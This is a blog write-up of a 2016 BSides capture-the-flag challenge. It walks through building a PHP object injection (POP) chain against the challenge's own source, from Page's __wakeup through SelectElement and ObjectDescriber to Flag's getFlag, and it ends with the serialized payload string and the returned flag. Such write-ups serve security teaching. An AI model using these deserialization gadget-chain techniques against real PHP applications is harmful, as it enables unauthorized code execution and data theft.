05 May 2016

BSides Pre-Con Capture the Flag

This challenge involved a web application that featured a PHP variable inspector.

The instructions read:

NETTITUDE.COM CTF

Enter some serialised PHP in our form below and we’ll output it on the page.

We have some built in classes too.

Objective: Simply run the “getFlag()” method.

The page also contained a form to submit your serialized object string, as well as a link to some source code:

<?php  
  require_once( "settings.php" );
  class Database {
    function __construct() {
      $this->setDefaults();
    }
    function setDefaults() {
      if( !isset($this->host) ) $this->host = DB_HOST;
      if( !isset($this-&>user) ) $this->user = DB_USER;
      if( !isset($this-&>pass) ) $this->pass = DB_PASS;
      if( !isset($this-&>name) ) $this->name = DB_NAME;
      $this->description = $this->user."@".$this->host."/".$this->name;
    }
    function connect() {
      $this->connection =  new mysqli( $this->host, $this->user, $this->pass, $this->name );
      if( !$this->connection ) die( "Connection to ".$this->host." failed!" );
    }
    function query( $sql ) {
      if( !isset( $this->connection ) ) $this->connect();
      $this->result = $this->connection->query( $sql );
      return $this->result;
    }
    function fetchRow() {
      return $this->result->fetch_assoc();
    }
  }

  class Flag {
    function getFlag() {
      return file_get_contents( FLAG_PATH );
    }
  }

  class Page {
    function __construct() {
      $this->elements = array();
      $this->html = "";
    }
    function __wakeup() {
      $this->compile();
    }
    function addElement($el) {
      return $this->elements[] = $el;
    }
    function render() {
      if( empty( $this->html ) ) $this->compile();
      return $this->html;
    }
    function compile() {
      foreach( $this->elements as $el ){
        $this->html .= $el->render();
      }
    }
  }

  Interface Element {
    function render();
  }

  class SelectElement implements Element {
    function render() {
      if( empty( $this->aItems ) ) return "";
      $html = "&lt;select&gt;\n";
      foreach( $this->aItems as $k =&gt; $item ) {
        $html .= "&lt;option&gt;".$item."&lt;/option&gt;\n";
      }
      $html .= "&lt;/select&gt;\n";
      return $html;
    }
  }

  class ObjectDescriber {
    function __construct( $obj, $prop, $type ) {
      $this->obj = $obj;
      $this->prop = $prop;
      $this->t = $type;
    }
    function __toString() {
      if( $this->t == "m" ){
        return $this->obj->{$this->prop}();
      }else{
        return $this->obj->{$this->prop};
      }
    }
  }

  class DatabaseDescriber extends ObjectDescriber {
    function __construct( $db ) {
      $this->obj = $db;
      $this->prop = "description";
      $this->t = "p";
    }
  }
?>

The challenge seemed to call for PHP object injection. I was especially excited to tackle this challenge since a PHP serialization vulnerability had recently made news: CVE-2015-8562.

My first goal was to figure out how I could invoke the getFlag method. I started thinking about the end of my method call chain so I could work backwards from the method invocation.

The ObjectDescriber class stood out to me as a candidate. Upon calling __toString, it checks t and dynamically invokes the method prop on obj. I overwrote the definition of getFlag in the Flag class above so it would echo “It worked”, included my modified source code, and used print_r to invoke __toString on it:

<?php  
// ??? -> ObjectDescriber#__toString() -> Flag#getFlag()
$obj = new ObjectDescriber(new Flag, "getFlag", "m");
print_r $obj; // => "It worked"  
?>

This first step wasn’t too challenging (having a programming background definitely helped). However, using print_r was cheating. I now had a new goal which would prove to be more difficult: using only object deserialization, how could I invoke __toString on my crafted ObjectDescriber object?

After studying the source code a bit more, I noticed that the SelectElement class was a candidate. Its render method concatenates strings while iterating over aitems, and would provide a chance to call __toString on the ObjectDescriber object.

<?php
// ??? -> selectElement#render -> selectElement#aitems -> aitems[...]#__toString()
$obj = new ObjectDescriber(new Flag, "getFlag", "m");
$proxy = new SelectElement();
$proxy->aItems = [$obj];
?>

I still needed a way to call render on an instance of SelectElement during deserialization. I noticed that the Page class had a compile method which called render on each element of its elements property. This nearly completed my chain.

Page#compile() -> Page#elements -> elements[...]#render() -> SelectElement#aitems -> aitems[..]#__toString()

Things were starting to fall into place. Now all I needed was a way to call compile on an instance of Page at some point during the PHP object lifecycle. Luckily, the Page class implements a definition of __wakeup, which is a object callback method that gets called when an object “wakes up” (becomes deserialized). This ended up completing my POP chain:

<?php  
// Page#__wakeup() -> Page#compile() -> Page#elements -> elements[...]#render() -> SelectElement#aitems -> aitems[..]#__toString()
$obj = new ObjectDescriber(new Flag, "getFlag", "m");
$proxy1 = new SelectElement();
$proxy1->aItems = [$obj];
$proxy2 = new Page();
$proxy2->elements = [$proxy1];

echo serialize($proxy2); // => O:4:"Page":2:{s:8:"elements";a:1:{i:0;O:13:"SelectElement":1:{s:6:"aItems";a:1:{i:0;O:15:"ObjectDescriber":3:{s:3:"obj";O:4:"Flag":0:{}s:4:"prop";s:7:"getFlag";s:1:"t";s:1:"m";}}}}s:4:"html";s:0:"";}  
?>

Submitting my serialized object string confirmed that my POP chain worked:

Page Object  
(
    [elements] => Array
        (
            [0] => SelectElement Object
                (
                    [aItems] => Array
                        (
                            [0] => ObjectDescriber Object
                                (
                                    [obj] => Flag Object
                                        (
                                        )

                                    [prop] => getFlag
                                    [t] => m
                                )

                        )

                )

        )

    [html] => <select>
<option>Flag: N3ttitudeP0pChainK!ng  
Congrats! Email this to [REMOVED] 
</option>